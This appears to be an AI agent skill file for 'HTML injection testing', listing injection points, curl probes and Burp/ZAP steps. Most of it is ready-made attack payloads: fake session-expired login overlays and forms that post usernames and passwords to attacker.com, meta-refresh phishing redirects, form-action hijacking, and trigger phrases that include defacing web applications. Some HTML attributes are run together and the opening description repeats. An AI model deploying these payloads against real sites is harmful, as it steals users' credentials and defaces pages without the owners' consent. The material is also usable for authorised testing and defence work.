This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
metadata
{"author":"zebbern","version":"1.1"}
HTML Injection Testing
Purpose
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
Phase 4: Types of HTML Injection
Stored HTML Injection
Payload persists in database:
<!-- Profile bio injection -->
Name: John Doe
Bio: <divstyle="position:absolute;top:0;left:0;width:100%;height:100%;background:white;"><h1>Site Under Maintenance</h1><p>Please login at <ahref="http://attacker.com/login">portal.company.com</a></p></div><!-- Comment injection -->
Great article!
<formaction="http://attacker.com/steal"method="POST"><inputname="username"placeholder="Session expired. Enter username:"><inputname="password"type="password"placeholder="Password:"><inputtype="submit"value="Login"></form>
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
http://target.com/register
URL-Based Injection
Inject into displayed URLs:
<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1><!-- Path-based injection -->
http://target.com/users/<imgsrc=x>/profile
Phase 5: Phishing Attack Construction
Create convincing phishing forms:
<!-- Fake login form overlay --><divstyle="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;"><h2>Session Expired</h2><p>Your session has expired. Please log in again.</p><formaction="http://attacker.com/capture"method="POST"><label>Username:</label><br><inputtype="text"name="username"style="width:200px;"><br><br><label>Password:</label><br><inputtype="password"name="password"style="width:200px;"><br><br><inputtype="submit"value="Login"></form></div><!-- Hidden credential stealer --><style>input { background: url('http://attacker.com/log?data=') }
</style><formaction="http://attacker.com/steal"method="POST"><inputname="user"placeholder="Verify your username"><inputname="pass"type="password"placeholder="Verify your password"><button>Verify</button></form>
<!-- Redirect via meta refresh --><metahttp-equiv="refresh"content="0;url=http://attacker.com/phish"><!-- CSP bypass attempt --><metahttp-equiv="Content-Security-Policy"content="default-src *">
Form Action Override
<!-- Hijack existing form --><formaction="http://attacker.com/steal"><!-- If form already exists, add input --><inputtype="hidden"name="extra"value="data"></form>
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
Using OWASP ZAP
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually